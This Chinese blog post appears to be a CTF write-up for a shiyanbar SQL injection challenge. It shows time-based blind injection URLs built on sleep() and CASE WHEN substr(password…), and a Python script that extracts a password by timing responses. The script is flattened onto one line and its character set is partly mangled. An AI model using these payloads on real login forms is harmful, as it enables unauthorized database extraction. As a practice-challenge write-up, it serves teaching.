1. 程式人生 > >實驗吧-看起來有點難【基於sleep的sql注入指令碼】

實驗吧-看起來有點難【基於sleep的sql注入指令碼】

               

原題內容:

切,你那水平也就這麼點了,這都是什麼題啊!!!

解題連結: http://ctf5.shiyanbar.com/basic/inject 

先吐槽下,,,,這題目開了嘲諷!!!

硬肝了一上午,肝出來就,其實題目挺簡單的,寫個部落格記錄下幾個個人的失誤點,下面為解題思路。

首先login很有意思,admin/admin告訴我使用者名稱密碼均錯誤:


然後試了試1/1,更有意思了,資料庫連線失敗:


第一反應,是不是題目炸了就,此處感謝實驗吧qq群的反饋大佬們,很明確的告訴我題目沒錯。好的,沒脾氣,套路bp,sqlmap走一遍,bp無發現,sqlmap失敗

回到題目連結(連結資料庫失敗的直接丟了,只有admin特殊為使用者名稱密碼錯誤,應該有貓膩):

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login

login刪去,admin/pass怎麼修改都沒變化,不能動

pass,引數怎麼修改都一樣無變化(這個應該不是注入點,沒變化特徵)

admin,還是迴歸到這個引數,很明顯就是連線失敗與使用者名稱密碼錯誤這有區別,反正後臺肯定有判斷,試試

http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(exits(select * from flag)) then sleep(5) else sleep(0) end and '1' = '1


嘖嘖嘖,肯定遮蔽了啥關鍵詞,挨個刪除試試,很明顯可知select被關鍵字檢測了

簡單點,

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and sleep(10) and '
'='&pass=&action=login

很明顯,延時顯示,,,不說了,盲注,基於sleep的

下面附上程式碼:

__author__ = 'netfish'# -*-coding:utf-8-*-import requestsimport timepayloads = '[email protected]_.{}-'  #不區分大小寫的flag = ""key=0print("Start")for i in range(1,50):    if key == 1:        break    for payload in payloads:        starttime = time.time()#記錄當前時間        headers = {"Host": "ctf5.shiyanbar.com",                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",                   "Accept-Encoding": "gzip, deflate",                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",                   "Connection": "keep-alive",                   }        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#資料庫        res = requests.get(url, headers=headers)        if time.time() - starttime > 10:            flag += payload            print('\n pwd is:', flag)            break        else:            if payload == '-':                key = 1                breakprint('\n[Finally] current pwd is %s' % flag)

說幾個關鍵點來著:

1.網路要好,我第一次時間間隔設定的是5,run每次的結果都不一樣來著,後來改成了10,,,(qwq垃圾網路)

2.加個檢測

else:            if payload == '-':                key = 1                break

就這裡,-是我的payloads最後一個來著,就是一次所有的payloasds沒有匹配到直接跳出兩個迴圈,不管50了(一開始沒管,可能是越界啥的,不知道後面那幾個字元怎麼出來的)

3.注意下substr在sql與php中不同,sql中從1開始為第一個其實位置,所以range(50)調整為range(1,50)

好了,就這些了,下面是各種結果,



有任何疑問歡迎留言共同學習!

============================================exciting!!=============================================

在別的題目找的了這個題目的答案,,,,蜜汁尷尬



           

再分享一下我老師大神的人工智慧教程吧。零基礎!通俗易懂!風趣幽默!還帶黃段子!希望你也加入到我們人工智慧的隊伍中來!https://blog.csdn.net/jiangjunshow